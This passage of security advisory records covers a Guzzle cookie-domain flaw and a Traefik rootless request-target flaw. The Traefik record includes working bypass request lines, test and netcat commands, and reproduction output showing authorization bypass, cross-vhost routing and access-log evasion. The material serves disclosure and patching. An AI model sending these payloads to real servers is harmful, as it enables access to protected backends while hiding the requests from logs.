"details": "### Impact\n\n`CookieJar` incorrectly accepts cookies with a dot-only `Domain` attribute, such as `Domain=.`, `Domain=..`, `Domain=...`, and whitespace-padded variants such as `Domain= . `. In affected versions, `SetCookie::matchesDomain()` removes leading dots from the cookie domain, normalizing dot-only values to the empty string; `SetCookie::validate()` only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.\n\nAn attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle\u0027s cookie support, for example `new Client([\u0027cookies\u0027 =\u003e true])` or an explicit shared `CookieJar`, and reuse the same jar across attacker-controlled and trusted origins.\n\nApplications that do not use Guzzle\u0027s cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.\n\n### Patches\n\nThe issue is patched in `7.12.1` and later. Starting in that release, Guzzle rejects dot-only cookie `Domain` attributes and prevents an empty normalized cookie domain from matching any request host.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not reuse the same `CookieJar` instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.\n\nAvoid using `new Client([\u0027cookies\u0027 =\u003e true])` for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.",
"id": "GHSA-cwxw-98qj-8qjx",
"modified": "2026-08-05T21:49:53Z",
"published": "2026-06-19T14:37:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-cwxw-98qj-8qjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55767"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3653"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/7f537cded1912349abf5081258d6db19106d774d"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/guzzlehttp/guzzle/CVE-2026-55767.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.12.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "guzzlehttp/guzzle: Dot-Only Cookie Domains Match All Hosts"
}
GHSA-F52W-8J3H-J724
Vulnerability from github – Published: 2026-09-10 23:03 – Updated: 2026-09-10 23:03Summary
Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.
Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ## Summary The scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path. **The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred: 1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block. 2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend. 3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `"GET / HTTP/1.1"`. Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload. This is not the "the operator left an opt-in permissive" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed. ## Affected code - `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`) - `pkg/muxer/http/mux.go:139` (`withRoutingPath`) ## Code analysis ### The sink `pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
`net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != ""`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored.
### How Opaque gets populated
`net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}`.
Note that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.
### Why the entry-point pipeline does not catch it
- `denyFragment` inspects `req.URL.RawPath` → empty → passes.
- `normalizePath` returns early when `RawPath == ""` → passes.
- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath("/")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `"/"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*.
- The muxer matches on `URL.Path == "/"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.
- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `"/"`. The denylist can never fire.
- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.
- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.
### Scope
The experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both.
Note this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.
## Reproduction (J04, F4)
Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).
### A. In-tree Go test (`pkg/server`, deleted after the run)
Entry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.
**Command:**
go test -run TestScanPocJ04Opaque -v ./pkg/server/
**Observed:**
=== RUN TestScanPocJ04Opaque/control_origin_form
status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN TestScanPocJ04Opaque/rootless_opaque_form
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN TestScanPocJ04Opaque/rootless_opaque_form_simple
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN TestScanPocJ04Opaque/absolute_form
status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)
**Conclusion:** REPRODUCED. Traefik routes on `Path="/"` and `Host="app.example.com"`; the backend receives `Host="internal-vhost"` and `Path="/admin"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs.
### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend
Topology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.
**B1. Cross-vhost + log evasion (stock defaults):**
=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com
=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost
Traefik access log for those same three requests:
"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):
=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request <- canonical path: protection fires
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires
**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):
=== request-target sent: '/admin' -> 403 DENY
=== request-target sent: 'http:/admin' -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
Auth-service log confirms the decision flip: `403`, `403`, `200`.
**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.
### Documentation grounding
Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**
_(truncated ; full analysis in the linked internal report)_
## Reproduction (J18, F20)
Three Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.
**Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
--> raw request line: "GET http:admin/secret HTTP/1.1"
in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- response: "HTTP/1.1 200 OK\r"
<-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1 (control)
<-- routers matched: [router-admin(AUTH)]
<-- response: "HTTP/1.1 401 Unauthorized\r"
PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.
**Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |
|---|---|---|
| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path="/admin/secret"` |
| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |
| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |
| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |
| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |
| Python `http.server` | accepted (404, no 400) | 404 |
| **fasthttp v1.69.0** | **`200 OK`, `Path="/admin/secret"`** | 200, `Path="/admin/secret"` |
fasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path="/admin/secret"`, `RequestURI="admin%2Fsecret"`.
**Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1" => 401 basicAuth required
"GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.
## Second affected site (J18)
The finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.
A client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = "admin/secret"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`:
- `denyFragment` inspects `URL.RawPath` (empty) and passes.
- `normalizePath` returns early on empty `RawPath`.
- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `"/"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `"admin/secret"`.
- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `"/"`.
- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim.
Result: Traefik makes its routing and middleware decision on one string (`"/"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix("/")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.
Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.
## Documentation grounding
Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**
The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.
This lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.
## Precedent in comparable projects
Searched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.
| Product | ID | Severity | Framing | Fix shape |
|---|---|---|---|---|
| Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |
| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |
| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |
| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |
| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. |
| Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. |
| Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. |
| HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |
_(truncated ; full analysis in the linked internal report)_
## Recommended fix
**Assign for fix, and treat as CVE-worthy.**
1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments:
```go
pr.Out.URL.Opaque = ""
```
and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half.
2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == ""` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker's authority-bearing form and the access log still records `/`.
3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.
4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it.
5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR.
## Provenance
Found by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.7.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-88009"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T23:03:53Z",
"nvd_published_at": "2026-09-10T16:18:07Z",
"severity": "HIGH"
},
"details": "## Summary\n\nTraefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker\u0027s original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion \u2014 unauthenticated, with stock entrypoint defaults.\n\nTraefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nThe scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.\n\n**The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred:\n\n1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block.\n2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend.\n3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `\"GET / HTTP/1.1\"`.\n\nPlus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload.\n\nThis is not the \"the operator left an opt-in permissive\" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed.\n\n## Affected code\n\n- `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`)\n- `pkg/muxer/http/mux.go:139` (`withRoutingPath`)\n\n## Code analysis\n\n### The sink\n\n`pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:\n\n```go\npr.Out.URL.Scheme = target.Scheme\npr.Out.URL.Host = target.Host\n...\npr.Out.URL.Path = u.Path\npr.Out.URL.RawPath = u.RawPath\n...\npr.Out.RequestURI = \"\" // Outgoing request should not have RequestURI\n```\n\n`net/http`\u0027s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != \"\"`. So the wire target is the attacker\u0027s string, and every field the proxy carefully set is ignored.\n\n### How Opaque gets populated\n\n`net/http`\u0027s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: \"http\", Opaque: \"http://internal-vhost/admin\", Path: \"\", Host: \"\"}`.\n\nNote that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 \u00a73.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.\n\n### Why the entry-point pipeline does not catch it\n\n- `denyFragment` inspects `req.URL.RawPath` \u2192 empty \u2192 passes.\n- `normalizePath` returns early when `RawPath == \"\"` \u2192 passes.\n- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath(\"/\")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `\"/\"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker\u0027s authority-bearing form*.\n- The muxer matches on `URL.Path == \"/\"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.\n- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `\"/\"`. The denylist can never fire.\n- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := \u0026url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.\n- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router\u0027s view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.\n\n### Scope\n\nThe experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner\u0027s location call is accurate for both.\n\nNote this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.\n\n## Reproduction (J04, F4)\n\nTwo independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs\u0027 probe files, which were left alone).\n\n### A. In-tree Go test (`pkg/server`, deleted after the run)\n\nEntry-point chain assembled in `newHTTPServer` order (`denyFragment` \u2192 `normalizePath` \u2192 `sanitizePath` \u2192 `requestdecorator` \u2192 real `httpmuxer` with `Host(app.example.com)` \u2192 real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.\n\n**Command:**\n```\ngo test -run TestScanPocJ04Opaque -v ./pkg/server/\n```\n\n**Observed:**\n```\n=== RUN TestScanPocJ04Opaque/control_origin_form\n status=\"200 OK\" reachedBackend=true backend.RequestURI=\"/hello\" backend.Host=\"app.example.com\"\n=== RUN TestScanPocJ04Opaque/rootless_opaque_form\n status=\"200 OK\" reachedBackend=true\n routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin%2f..%2fsecret\" RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"app.example.com\")\n backend(RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" 